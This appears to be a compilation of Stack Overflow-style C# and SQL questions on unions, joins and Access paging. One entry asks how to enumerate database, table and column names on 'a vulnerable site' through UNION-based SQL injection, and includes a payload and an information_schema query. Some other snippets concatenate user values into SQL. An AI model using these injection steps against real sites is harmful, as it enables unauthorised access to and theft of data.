I have two access databases, (ProdDB.mdb) and (AllProdOrders.mdb).
In ProdDB.mdb, I have two tables that have the same structure: Data and Archive
In AllProdOrders.mdb, I have one table: Outputs
This is what I want to do:
What I want to do is create an SQL query that will combine the two tables, Data and Archive into one table and remove any duplicates by checking against three columns: Prod Ord, SO nr and Item No. If these three values are the same for any entry, that is a duplicate and thus shouldn't be included.
After this, I want to left join the AllProdOrders.mdb table: Outputs and add a column to the end of my table. This is done by checking the Order Status in that table against the SO nr.
I have already done the left join portion and my query works properly, all I really need to add is combining the two tables and filtering out any duplicates:
This is my code so far...
string sql = "SELECT [Data].[SO nr], [Data].[Value (GBP)], [Data].[Ship Date (Cust)], [Data].[Line] " +
#"FROM [Archive]" +
"UNION " +
#"SELECT [Data].[SO nr], [Data].[Value(GBP)], [Data].[Ship Date(Cust)], [Data].[Line], status.[Order Status] " +
#"FROM [Data] LEFT JOIN [;database=I:\Departments\Production\AllProdOrders.mdb].[Outputs] AS status " +
"ON [Data].[Prod Ord] = status.[No] "
I'm going to use this combination of tables in my query with an OleDBDataReader to get the total (Value (GBP) of certain orders.
I'm getting a number of columns doesn't match error but I'm not sure how to rectify this as the extra column is the Order Status column that is added to the end of the query and comes from the second database.
As you say, you have an extra column in the second part of the union query. The columns must always match in a union-query. If you add ", NULL as [Order Status]" in the end of the first line I believe the error goes away.
Related
If I had a vulnerable site how would I go by getting the Database names, table names, column names and amount of rows in the columns using UNION or ERROR queries, in C#?
The code I have right now is:
(xNet)
HttpRequest httpRequest = new HttpRequest()
//DB NAMES
string result = httpRequest.Get("https://vulnerable.url/example?id=23" + " UNION ALL SELECT 1, group_concat(.:, database, .:),3,4,5,6 -- ")
//2 is the vulnerable column
if(result.Contains(".:")
{
string output = Regex.Match(result, ".: (.*?) .:")
}
Console.Writeline(output);
That's what I'm trying to use to get the database names, I know that to get the version, i would replace "database()" with "version()" (I think)
but the output is just "database()",
I also want to get the column names and amount of rows in the database.
Thanks
Using the information_schema SCHEMATA contains databases but there are other there for Tables and COLUMNS.
So:
UNION SELECT CATALOG_NAME,SCHEMA_NAME FROM information_schema.SCHEMATA
The tricky bit is matching the number of columns in this UNION with what the original query is returning. Like your example you can padd fields with dummy values or CONCAT(f1, ' ', f2) if you have more fields than the original query.
The other part about SQL is knowing where you are injecting so you can adjust the string to make it valid SQL.
So i don't understand how joining of tables works in mysql database
(is it from table that has Primary Key to table that has its Foreign Key? or vice versa?)
I always encounter this and I don't know what is the problem
I have used this sql statement and what I want to achieve is to join three tables then get the result and put it in datagridview and in this code that i do is only two table for me to practice and join 3 tables later on.
string sql = "SELECT category_information.category, description_information.description" +
"FROM category_information INNER JOIN description_information ON category_information.type_id" +
" = description_information.category_information_type_id";
MySql.Data.MySqlClient.MySqlException: 'You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near 'INNER JOIN description_information ON
category_information.type_id = description' at line 1'
In C#, the "#" prefixing a string allows you to do multiple lines and can thus cleanly read SQL without extra close-quote + signs. I also changed to utilize table "aliases" for long table names for readability. Just a sample from your original code would directly see readability.
Yet StuardD's answer was correct. When you had the strings concatenated together you would not see the obvious, here you would.
string sql =
#"SELECT
CI.category,
DI.description
FROM
category_information CI
INNER JOIN description_information DI
ON CI.type_id = DI.category_information_type_id ";
I need to update the rows of two tables (song & words).
How can I do it using the same query?
Here's my first update:
string query2 = "Update myproject.song set house_number = '" + first.Length + "';";
MySQL permits you to multiple tables as shown here:
MySQL update syntax documentation
UPDATE song,artist SET song.title=a,artist.song_count=b
WHERE artist.id=song.artist_id;
In this example, song, and artist are the two tables with rows, title and song_count respectively. The WHERE clause ensures that this is being done based on your criteria
You wouldn't update two tables at the same time. Try updating song, then using the primary key of song to update the correct row in words.
This is my table:
I am basically using the following table to pass a select statement and viewing it as a pie graph.The pie graph excludes fields that are null or 0. So First i used the following query to select the total number by its respective group number and it worked fine. This is the working query.
query = "Select groupNumber as \"Group Number\", totalNumber as \"Total Number\" From " + table;
However i found it hard to read since both columns are numbers and therefore figured it will be better to pass a query where i can select the total numbers by its respective groupName. This is a problem though because if u look at the table you will notice that groupNames can be repeated.
Therefore i would like to do a select satement where i can query the total number by the groupnumber and groupname.
Is this possible if so how? Also i can't modify the data as i receive it in such format from a established connection.
I am creating a GUI in C# and I have the following line of code to get the elements from lowerPageBound to upperPageBound.
command.CommandText = "Select Top " + rowsPerPage + " " +
CommaSeparatedListOfColumnNames + " From " + tableName +
" WHERE " + columnToSortBy + " NOT IN (SELECT TOP " +
lowerPageBoundary + " " + columnToSortBy + " From " +
tableName + " Order By " + columnToSortBy +
") Order By " + columnToSortBy;
adapter.SelectCommand = command;
DataTable table = new DataTable();
table.Locale = System.Globalization.CultureInfo.InvariantCulture;
adapter.Fill(table);
The generated SQL statement gives me an error(adapter.Fill(table) is executed) when used on an access database but works fine on a sql database.
Heres the SQL that is generated:
Select Top 25 [ID], [Business Process], [Tier Level], [Application], [CI ID], [Server], [Server Function], [Data Center], [HA], [DR Equip], [Procedure], [Procedure Tested], [Type], [Outcome], [Overall Status] From Data WHERE ID NOT IN (SELECT TOP 0 ID FROM Data ORDER BY ID) ORDER BY ID;
And the error I recieve:
Syntax error in query expression 'ID NOT IN (SELECT TOP 0 ID FROM Data ORDER BY ID)'.
Ive tried to fix this for hours but I've had no luck. It doesn't make sense why the same statement wouldnt work on an access database. Any help is appreciated!!
The Access db engine will throw an error with this part of your query.
SELECT TOP 0 ID FROM Data ORDER BY ID
You can break out that section and test it as a new Access query. Unfortunately, the error message is not very helpful: "The SELECT statement includes a reserved word or an argument name that is misspelled or missing, or the punctuation is incorrect." And that's sort of a generic error message the db engine gives you when it's unable to describe the problem precisely.
Basically, it all boils down to the fact you can not do SELECT TOP 0 in Access SQL.
Also, once you resolve the problem about SELECT TOP 0, you need an ORDER BY clause in the outer query. Without the ORDER BY, the rows returned by TOP 25 is arbitrary.
To perform your paging function, you can:
Leave out the NOT IN clause when pagestart is 0.
Use the method SELECT TOP pagesize * FROM (SELECT TOP pagestart + pagesize * FROM X ORDER BY Condition) AS Alias ORDER BY Condition DESC. The important part is that the second ORDER BY is in the reverse direction of the first. You may need a final ORDER BY to get the correct order, though the client should be capable of this. Note that prior to Access 2007 the designer would change that derived table (the part in parentheses) to [SELECT ...]. AS Alias, but now it stays.
There are more methods if these are unsatisfactory.
Less as an answer to your question and more to be informative, in addition to what HansUp has said about TOP 0 being unsupported, you may also run into other differences between SQL Server and Access syntax. To help alleviate this, you may want to look into the DB-level setting to use SQL-Server syntax. It's not perfect, but allows some syntax that would normally fail in Access. Be aware that switching in the middle of a project can be problematic. See info on ANSI 89 and ANSI 92 syntax incompatibilities.